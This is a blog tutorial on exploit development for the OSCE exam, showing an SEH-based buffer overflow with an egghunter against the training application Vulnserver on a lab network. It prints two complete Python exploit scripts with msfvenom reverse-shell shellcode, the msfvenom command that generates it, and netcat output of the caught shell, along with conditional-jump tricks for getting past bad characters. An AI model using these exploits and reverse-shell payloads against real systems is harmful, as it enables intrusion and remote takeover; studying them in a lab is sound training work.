CTP/OSCE Prep – ‘GMON’ Egghunter With Character Restrictions

11 minute read

Introduction

This series of posts will focus on the concepts I’m learning/practicing in preparation for CTP/OSCE. In this series of posts, I plan on exploring:

  • fuzzing,
  • vanilla EIP overwrite,
  • SEH overwrite, and
  • egghunters.

Writing these entries will force me to become intimately familiar with these topics, and hopefully you can get something out of them as well!

In this particular post, we will be revisiting the SEH-based overflow with the GMON command/parameter in Vulnserver, but this time with some self-imposed character restrictions.

If you have not already done so, please read the first post of this series so that you can setup your environment, setup and use boofuzz, and become acquainted with some of the stack-based overflow concepts that are still relevant in this post. You can do so here.

This post will assume the reader is already familiar with how to attach processes in Immunity, use boofuzz, search for bad characters, and other knowledge domains covered in the first post of the series.

Background

If you have not done so, it’s probably best that you read our previous egghunter approach to exploiting the ‘GMON’ command in Vulnserver with an SEH-based exploit here.

We’ve successfully performed an SEH-based overflow on the GMON command in two different ways, one with an egghunter and one without.

In summary, our egghunter exploit code looked like this:

#!/usr/bin/python

import socket
import os
import sys

host = "192.168.1.201"
port = 9999

Seh = '\x2b\x17\x50\x62'
nSeh = '\xeb\x06\x90\x90'
egghunter = ("\x66\x81\xca\xff\x0f\x42\x52\x6a\x02\x58\xcd\x2e\x3c\x05\x5a\x74"
"\xef\xb8\x45\x47\x47\x48\x8b\xfa\xaf\x75\xea\xaf\x75\xe7\xff\xe7")

egg = 'EGGHEGGH'
shellcode = ("\xdb\xcc\xd9\x74\x24\xf4\x5a\x29\xc9\xb1\x52\xbf\x36\x08\x50"
"\xc1\x31\x7a\x17\x83\xc2\x04\x03\x4c\x1b\xb2\x34\x4c\xf3\xb0"
"\xb7\xac\x04\xd5\x3e\x49\x35\xd5\x25\x1a\x66\xe5\x2e\x4e\x8b"
"\x8e\x63\x7a\x18\xe2\xab\x8d\xa9\x49\x8a\xa0\x2a\xe1\xee\xa3"
"\xa8\xf8\x22\x03\x90\x32\x37\x42\xd5\x2f\xba\x16\x8e\x24\x69"
"\x86\xbb\x71\xb2\x2d\xf7\x94\xb2\xd2\x40\x96\x93\x45\xda\xc1"
"\x33\x64\x0f\x7a\x7a\x7e\x4c\x47\x34\xf5\xa6\x33\xc7\xdf\xf6"
"\xbc\x64\x1e\x37\x4f\x74\x67\xf0\xb0\x03\x91\x02\x4c\x14\x66"
"\x78\x8a\x91\x7c\xda\x59\x01\x58\xda\x8e\xd4\x2b\xd0\x7b\x92"
"\x73\xf5\x7a\x77\x08\x01\xf6\x76\xde\x83\x4c\x5d\xfa\xc8\x17"
"\xfc\x5b\xb5\xf6\x01\xbb\x16\xa6\xa7\xb0\xbb\xb3\xd5\x9b\xd3"
"\x70\xd4\x23\x24\x1f\x6f\x50\x16\x80\xdb\xfe\x1a\x49\xc2\xf9"
"\x5d\x60\xb2\x95\xa3\x8b\xc3\xbc\x67\xdf\x93\xd6\x4e\x60\x78"
"\x26\x6e\xb5\x2f\x76\xc0\x66\x90\x26\xa0\xd6\x78\x2c\x2f\x08"
"\x98\x4f\xe5\x21\x33\xaa\x6e\x8e\x6c\xb5\xa9\x66\x6f\xb5\x34"
"\xcc\xe6\x53\x5c\x22\xaf\xcc\xc9\xdb\xea\x86\x68\x23\x21\xe3"
"\xab\xaf\xc6\x14\x65\x58\xa2\x06\x12\xa8\xf9\x74\xb5\xb7\xd7"
"\x10\x59\x25\xbc\xe0\x14\x56\x6b\xb7\x71\xa8\x62\x5d\x6c\x93"
"\xdc\x43\x6d\x45\x26\xc7\xaa\xb6\xa9\xc6\x3f\x82\x8d\xd8\xf9"
"\x0b\x8a\x8c\x55\x5a\x44\x7a\x10\x34\x26\xd4\xca\xeb\xe0\xb0"
"\x8b\xc7\x32\xc6\x93\x0d\xc5\x26\x25\xf8\x90\x59\x8a\x6c\x15"
"\x22\xf6\x0c\xda\xf9\xb2\x2d\x39\x2b\xcf\xc5\xe4\xbe\x72\x88"
"\x16\x15\xb0\xb5\x94\x9f\x49\x42\x84\xea\x4c\x0e\x02\x07\x3d"
"\x1f\xe7\x27\x92\x20\x22")


buffer = 'A' * (3514 - len(egg + shellcode))
buffer += egg
buffer += shellcode
buffer += nSeh
buffer += Seh
buffer += egghunter
buffer += 'C' * (5012 - len(buffer))


s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host,port))
print s.recv(1024)
s.send("GMON /.../" + buffer)
print s.recv(1024)
s.close()

And performed the following:

  1. causes an exception by overflowing the application’s buffer;
  2. the overflow also overwrites the SEH component;
  3. we place a POP POP RET instruction in the ‘Current SE handler’ address;
  4. the POP POP RET instruction places code execution at the pointer pointing towards the next SEH record;
  5. this address has been overwritten with instructions to jump forward 6 bytes;
  6. after jumping forward 6 bytes, the instruction at this location is an egghunter which will find our shellcode that’s been prepended twice with our egg; and finally,
  7. execute the shellcode.

Self-Imposed Character Restrictions

Luckily for us, our GMON overflow only restricted us from using \x00 bytes, but our goal here is to learn as many tricks as possible before CTP/OSCE, so we’ll try to make things a little harder. Let’s look at our jumpcode in nSeh: \xeb\x06\x90\x90

  • \xeb is the opcode for a short jump,
  • \x06 is the amount of bytes we want to jump forward,
  • \x90 is just a no-operation which is just filler since we need 4 bytes total.

But what would we do if \xeb happened to be a bad character? How would we jump to our egghunter?

Conditional Short Jumps

One thing we could try would be to leverage ‘conditional short jumps’ that only occur if a certain criteria is met. There are several flavors of these jumps available to us, such as the following (thanks to unixwiz.net):

Instruction Description signed-ness Flags short jump opcodes near jump opcodes
JO Jump if overflow   OF = 1 70 0F 80
JNO Jump if not overflow   OF = 0 71 0F 81
JS Jump if sign   SF = 1 78 0F 88
JNS Jump if not sign   SF = 0 79 0F 89
JE JZ Jump if equal Jump if zero   ZF = 1 74 0F 84
JNE JNZ Jump if not equal Jump if not zero   ZF = 0 75 0F 85
JB JNAE JC Jump if below Jump if not above or equal Jump if carry unsigned CF = 1 72 0F 82
JNB JAE JNC Jump if not below Jump if above or equal Jump if not carry unsigned CF = 0 73 0F 83
JBE JNA Jump if below or equal Jump if not above unsigned CF = 1 or ZF = 1 76 0F 86
JA JNBE Jump if above Jump if not below or equal unsigned CF = 0 and ZF = 0 77 0F 87
JL JNGE Jump if less Jump if not greater or equal signed SF <> OF 7C 0F 8C
JGE JNL Jump if greater or equal Jump if not less signed SF = OF 7D 0F 8D
JLE JNG Jump if less or equal Jump if not greater signed ZF = 1 or SF <> OF 7E 0F 8E
JG JNLE Jump if greater Jump if not less or equal signed ZF = 0 and SF = OF 7F 0F 8F
JP JPE Jump if parity Jump if parity even   PF = 1 7A 0F 8A
JNP JPO Jump if not parity Jump if parity odd   PF = 0 7B 0F 8B
JCXZ JECXZ Jump if %CX register is 0 Jump if %ECX register is 0   %CX = 0 %ECX = 0 E3  

Unixwiz also provides an execellent description of the flags and how they operate:

  • CF - carry flag
    • Set on high-order bit carry or borrow; cleared otherwise
  • PF - parity flag
    • Set if low-order eight bits of result contain an even number of “1” bits; cleared otherwise
  • ZF - zero flags
    • Set if result is zero; cleared otherwise
  • SF - sign flag
    • Set equal to high-order bit of result (0 if positive 1 if negative)
  • OF - overflow flag
    • Set if result is too large a positive number or too small a negative number (excluding sign bit) to fit in destination operand; cleared otherwise

Since we dont have much space to work with, I’m not sure if all of these conditions can be knowingly satisfied and activate our jump. I know for sure we can try to affect the zero flag though so let’s test some conditions in Assembly and step through them in GDB to see if we can affect the flags in a small byte space.

Exploring the Zero Flag (ZF)

Let’s start our analysis by putting together some very simple Assembly that will set the Zero Flag. We can do this with a simple PoC:

global_start

section .txt
_start:

xor eax,eax       ; just clearing $eax by xoring with itself

inc eax           ; incrementing $eax by 1
dec eax           ; decrementing $eax by 1

Installing PEDA for GDB

We’ll be using the PEDA extenstion for GDB to analyze this in the debugger. To install just follow these commands:

  • git clone https://github.com/longld/peda.git ~/peda
  • echo "source ~/peda/peda.py" >> ~/.gdbinit

Let’s assemble and link the .nasm file with: nasm -f elf32 file.nasm && ld -m elf_i386 file.o -o file

Now we run: gdb ./file to attach the executable process to GDB. Inside GDB just use the run command and our program will run through and segfault and stop. When the program stops, we are greeted with the following output from PEDA:

The EFLAGS output gives us address of the flags register (0x10246) and then the status of the flags with the set flags in red. Our ZERO flag is set, just as we thought it would be. Now let’s see if we can unset it by adding an increment EAX operation to our assembly:


xor eax,eax

inc eax
dec eax
inc eax

When we run this code in GDB, PEDA gives us the following output:

Ok so in this output, we see that the zero flag has become unset. So we know we can affect this flag with simple opcodes, like increment and decrement which are usually just one byte. This is great news. We could potentially get two stabs at either decrementing or incrementing in our byte space because we have 4 bytes to play with: 1 for the short jump, 1 for the jump length, 1 for a increment/decrement, and 1 for an increment/decrement.

Let’s try putting this into action with our egghunter exploit. We will change our nSeh variable from: nSeh = '\xeb\x06\x90\x90' to nSeh = '\x40\x40\x75\x04'. This can be broken down as follows:

  • \x40 is to increment EAX
  • \x75 is the conditional ‘jump if not zero’ opcode (JNZ)
  • \x04 is our short-jump length of 4 bytes.

Previously we were jumping 6 bytes as demonstrated in the following diagram:

However, this time there are not two \x90 bytes to jump over so we only need to clear the other SEH component which is 4 bytes long.

But wait! There’s more! Are we sure our reverse shell msfvenom generated payload would withstand our bad character restriction? It actually would not, there is an \xeb in our payload. Let’s rerun our payload generation and specify this bad character to form good habits.

astrid:~/ # msfvenom -p windows/shell_reverse_tcp lhost=192.168.1.199 lport=443 EXITFUNC=thread -b "\x00\xeb" -f c                                                                                                  [21:41:14]
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
Found 11 compatible encoders
Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 351 (iteration=0)
x86/shikata_ga_nai chosen with final size 351
Payload size: 351 bytes
Final size of c file: 1500 bytes
unsigned char buf[] = 
"\xda\xc8\xd9\x74\x24\xf4\xb8\x86\xa2\x3b\x8b\x5a\x29\xc9\xb1"
"\x52\x31\x42\x17\x83\xc2\x04\x03\xc4\xb1\xd9\x7e\x34\x5d\x9f"
"\x81\xc4\x9e\xc0\x08\x21\xaf\xc0\x6f\x22\x80\xf0\xe4\x66\x2d"
"\x7a\xa8\x92\xa6\x0e\x65\x95\x0f\xa4\x53\x98\x90\x95\xa0\xbb"
"\x12\xe4\xf4\x1b\x2a\x27\x09\x5a\x6b\x5a\xe0\x0e\x24\x10\x57"
"\xbe\x41\x6c\x64\x35\x19\x60\xec\xaa\xea\x83\xdd\x7d\x60\xda"
"\xfd\x7c\xa5\x56\xb4\x66\xaa\x53\x0e\x1d\x18\x2f\x91\xf7\x50"
"\xd0\x3e\x36\x5d\x23\x3e\x7f\x5a\xdc\x35\x89\x98\x61\x4e\x4e"
"\xe2\xbd\xdb\x54\x44\x35\x7b\xb0\x74\x9a\x1a\x33\x7a\x57\x68"
"\x1b\x9f\x66\xbd\x10\x9b\xe3\x40\xf6\x2d\xb7\x66\xd2\x76\x63"
"\x06\x43\xd3\xc2\x37\x93\xbc\xbb\x9d\xd8\x51\xaf\xaf\x83\x3d"
"\x1c\x82\x3b\xbe\x0a\x95\x48\x8c\x95\x0d\xc6\xbc\x5e\x88\x11"
"\xc2\x74\x6c\x8d\x3d\x77\x8d\x84\xf9\x23\xdd\xbe\x28\x4c\xb6"
"\x3e\xd4\x99\x19\x6e\x7a\x72\xda\xde\x3a\x22\xb2\x34\xb5\x1d"
"\xa2\x37\x1f\x36\x49\xc2\xc8\xf9\x26\xcd\xcf\x92\x34\xcd\xce"
"\xd9\xb0\x2b\xba\x0d\x95\xe4\x53\xb7\xbc\x7e\xc5\x38\x6b\xfb"
"\xc5\xb3\x98\xfc\x88\x33\xd4\xee\x7d\xb4\xa3\x4c\x2b\xcb\x19"
"\xf8\xb7\x5e\xc6\xf8\xbe\x42\x51\xaf\x97\xb5\xa8\x25\x0a\xef"
"\x02\x5b\xd7\x69\x6c\xdf\x0c\x4a\x73\xde\xc1\xf6\x57\xf0\x1f"
"\xf6\xd3\xa4\xcf\xa1\x8d\x12\xb6\x1b\x7c\xcc\x60\xf7\xd6\x98"
"\xf5\x3b\xe9\xde\xf9\x11\x9f\x3e\x4b\xcc\xe6\x41\x64\x98\xee"
"\x3a\x98\x38\x10\x91\x18\x58\xf3\x33\x55\xf1\xaa\xd6\xd4\x9c"
"\x4c\x0d\x1a\x99\xce\xa7\xe3\x5e\xce\xc2\xe6\x1b\x48\x3f\x9b"
"\x34\x3d\x3f\x08\x34\x14";

So even by specifying an additional bad character, our payload remained the same size at 351 bytes. Let’s now submit our final exploit code:

#!/usr/bin/python

import socket
import os
import sys

host = "192.168.1.201"
port = 9999

Seh = '\x2b\x17\x50\x62'
nSeh = '\x40\x40\x75\x04'  
egghunter = ("\x66\x81\xca\xff\x0f\x42\x52\x6a\x02\x58\xcd\x2e\x3c\x05\x5a\x74"
"\xef\xb8\x45\x47\x47\x48\x8b\xfa\xaf\x75\xea\xaf\x75\xe7\xff\xe7")

egg = 'EGGHEGGH'
shellcode = ("\xda\xc8\xd9\x74\x24\xf4\xb8\x86\xa2\x3b\x8b\x5a\x29\xc9\xb1"
"\x52\x31\x42\x17\x83\xc2\x04\x03\xc4\xb1\xd9\x7e\x34\x5d\x9f"
"\x81\xc4\x9e\xc0\x08\x21\xaf\xc0\x6f\x22\x80\xf0\xe4\x66\x2d"
"\x7a\xa8\x92\xa6\x0e\x65\x95\x0f\xa4\x53\x98\x90\x95\xa0\xbb"
"\x12\xe4\xf4\x1b\x2a\x27\x09\x5a\x6b\x5a\xe0\x0e\x24\x10\x57"
"\xbe\x41\x6c\x64\x35\x19\x60\xec\xaa\xea\x83\xdd\x7d\x60\xda"
"\xfd\x7c\xa5\x56\xb4\x66\xaa\x53\x0e\x1d\x18\x2f\x91\xf7\x50"
"\xd0\x3e\x36\x5d\x23\x3e\x7f\x5a\xdc\x35\x89\x98\x61\x4e\x4e"
"\xe2\xbd\xdb\x54\x44\x35\x7b\xb0\x74\x9a\x1a\x33\x7a\x57\x68"
"\x1b\x9f\x66\xbd\x10\x9b\xe3\x40\xf6\x2d\xb7\x66\xd2\x76\x63"
"\x06\x43\xd3\xc2\x37\x93\xbc\xbb\x9d\xd8\x51\xaf\xaf\x83\x3d"
"\x1c\x82\x3b\xbe\x0a\x95\x48\x8c\x95\x0d\xc6\xbc\x5e\x88\x11"
"\xc2\x74\x6c\x8d\x3d\x77\x8d\x84\xf9\x23\xdd\xbe\x28\x4c\xb6"
"\x3e\xd4\x99\x19\x6e\x7a\x72\xda\xde\x3a\x22\xb2\x34\xb5\x1d"
"\xa2\x37\x1f\x36\x49\xc2\xc8\xf9\x26\xcd\xcf\x92\x34\xcd\xce"
"\xd9\xb0\x2b\xba\x0d\x95\xe4\x53\xb7\xbc\x7e\xc5\x38\x6b\xfb"
"\xc5\xb3\x98\xfc\x88\x33\xd4\xee\x7d\xb4\xa3\x4c\x2b\xcb\x19"
"\xf8\xb7\x5e\xc6\xf8\xbe\x42\x51\xaf\x97\xb5\xa8\x25\x0a\xef"
"\x02\x5b\xd7\x69\x6c\xdf\x0c\x4a\x73\xde\xc1\xf6\x57\xf0\x1f"
"\xf6\xd3\xa4\xcf\xa1\x8d\x12\xb6\x1b\x7c\xcc\x60\xf7\xd6\x98"
"\xf5\x3b\xe9\xde\xf9\x11\x9f\x3e\x4b\xcc\xe6\x41\x64\x98\xee"
"\x3a\x98\x38\x10\x91\x18\x58\xf3\x33\x55\xf1\xaa\xd6\xd4\x9c"
"\x4c\x0d\x1a\x99\xce\xa7\xe3\x5e\xce\xc2\xe6\x1b\x48\x3f\x9b"
"\x34\x3d\x3f\x08\x34\x14")


buffer = 'A' * (3514 - len(egg + shellcode))
buffer += egg
buffer += shellcode
buffer += nSeh
buffer += Seh
buffer += egghunter
buffer += 'C' * (5012 - len(buffer))


s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host,port))
print s.recv(1024)
s.send("GMON /.../" + buffer)
print s.recv(1024)
s.close()

When we run this code against Vulnserver unattached to Immunity, we net our reverse shell, very cool.

astrid:~/ # nc -lvp 443                                                                                                                 
listening on [any] 443 ...
192.168.1.201: inverse host lookup failed: Unknown host
connect to [192.168.1.199] from (UNKNOWN) [192.168.1.201] 49171
Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation.  All rights reserved.

C:\Users\IEUser\Desktop>

Net Jumping Thanks to OJ

As OJ REEVES (aka @TheColonial) points out in his fantastic blogpost on Jumping With Badcharacters, this type of approach where we attempt to satisfy a condition and then use the requisite conditional jump can be complicated. Sometimes we won’t have enough space to operate, sometimes we will have to make assumptions about other flags that may or may not be true. So OJ describes a different approach which will meet criteria no matter what.

OJ presents this as if it’s boring and unclever, but I was quite tickled at how cool it is. Basically if a condition can be either True or False, we can just account for both contingencies by placing opcodes for ‘Jump if True’ and ‘Jump if False’ side by side. If the condition is False, and the instruction pointer comes to this ‘Jump if True’ opcode, the opcode will simply be passed over without executing the jump. The instruction pointer will then grace our ‘Jump if False’ opcode and the condition will be met and the jump will execute!

OJ gives several examples of conditional short-jump codes that can be used in what he calls a ‘Net Jump’. Let’s try out the Zero Flag family of conditional jumps and see the technique in action.

Since we don’t really know what state the flags will be in when we reach our jumpcode, we can account for the Zero flag being set and unset by juxtaposing the opcodes \x74 (JZ) and \x75 (JNZ) respectively. The first jumpcode will have a distance of 6 bytes because if its condition is met, it will have to clear our second contigency (2 bytes) and the other SEH component (4 bytes). If the second jumpcode condition is met, it will only have to travel over the other SEH component (4 bytes) to reach our egghunter.

So let’s put this into our exploit by once more modifying our nSeh variable to '\x74\x06\x75\x04'.

Running our exploit code against Vulnserver again nets us our reverse shell!

astrid:~/ # nc -lvp 443                                                                                                                
listening on [any] 443 ...
192.168.1.201: inverse host lookup failed: Unknown host
connect to [192.168.1.199] from (UNKNOWN) [192.168.1.201] 49172
Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation.  All rights reserved.

C:\Users\IEUser\Desktop>

Conclusion

There are definitely other conditional approaches and ‘Net Jump’ approaches we can take and will be taking in our upcoming exploits against Vulnserver. But I thought this would be a good starting point for us, things won’t always be as simple as our only bad character being \x00, and now we have built up some resilience to that type of situation by expanding our toolkit.

Big Thanks

To everyone who has published free intro-level 32 bit exploit dev material, I’m super appreciative. Truly mean it.

Resources